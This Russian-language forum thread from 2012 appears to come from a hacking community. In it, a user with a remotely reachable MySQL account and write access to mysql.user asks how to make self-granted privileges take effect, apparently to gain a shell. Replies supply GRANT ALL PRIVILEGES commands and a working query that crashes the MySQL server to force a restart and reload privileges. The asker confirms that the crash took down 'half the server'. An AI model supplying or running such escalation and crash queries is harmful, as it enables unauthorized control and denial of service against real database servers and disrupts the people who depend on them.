Mysql и шелл

Discussion in 'Песочница' started by Pirotexnik, 20 Mar 2012.

  1. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    День добрый.
    Есть сервер мускула, есть в нем акк, к которому можно цеплятся с любых айпи. У акка file_priv=n
    НО! У этого же акка есть права на чтение и изменение mysql.user. Сам себе выставил привелегии, но не сработало. Как я понял, нужен ребут мускула.

    Появилась идея добавить нового юзера, насколько я помно все его привелегии применяются при создание.

    Если я прав, то скажите какой командой это сделать. Спасибо.
     
  2. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    ребут мускула не нужен, нужно "ребутнуть" привелегии

    FLUSH PRIVILEGES;
     
  3. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    хе-хе) Палка о двух концах)

    Хотя я поставил Y

    Может получится создать нового юзера? Какая команда?
     
  4. mr.Penguin

    mr.Penguin Member

    Joined:
    8 Mar 2012
    Messages:
    40
    Likes Received:
    37
    Reputations:
    74
    Создаем новую БД и нового юзера с полными правами на только что созданную базу:
    Code:
    CREATE DATABASE <имя_базы>;
    GRANT ALL PRIVILEGES ON <имя_базы>.* TO 'Pirotexnik'@'%'
    IDENTIFIED BY 'Pirotexnikpassword' WITH GRANT OPTION;
    Полные права на все БД:
    Code:
    GRANT ALL PRIVILEGES ON *.* TO 'Pirotexnik'@'%'
    IDENTIFIED BY 'Pirotexnikpassword' WITH GRANT OPTION;
     
    1 person likes this.
  5. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    :/ :\
     
  6. mr.Penguin

    mr.Penguin Member

    Joined:
    8 Mar 2012
    Messages:
    40
    Likes Received:
    37
    Reputations:
    74
    Попробуйте так:
    Code:
    TO 'Pirotexnik'@'localhost'
    Хотя этот запрос будет работать только на локалхосте, скорее всего ничего не произойдет.
    А вот этот запрос составлен абсолютно верно, просто Вам по какой-то причине отказано в доступе. У Вас точно полные права?
     
    #6 mr.Penguin, 31 Mar 2012
    Last edited: 31 Mar 2012
  7. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    Я руками поставил себе права, т.к. есть доступ к изменению mysql.user
    Но что бы преминить права нужно
    А что бы выполнилась эта команда - нужны права :)
     
  8. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    l1ght находил такой способ
    Code:
    select 1 from table procedure analyse ((select 1 from (select 1)a),1);
    mysql крашится от этого запроса

    ======
    UPD
    обычно проблем нет, мускул сразу же рестартует.

    Проверяем аптайм.
    SHOW STATUS LIKE 'Uptime'
     
    #8 nikp, 5 Apr 2012
    Last edited: 7 Apr 2012
    1 person likes this.
  9. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    Нифига себе! Крашнуло! Спасибо!
    Только заодно упало пол сервера ещё :)
    ____

    Да, все круто! Ещё раз спасибо! Возьму на заметку.
     
    #9 Pirotexnik, 7 Apr 2012
    Last edited: 8 Apr 2012
Loading...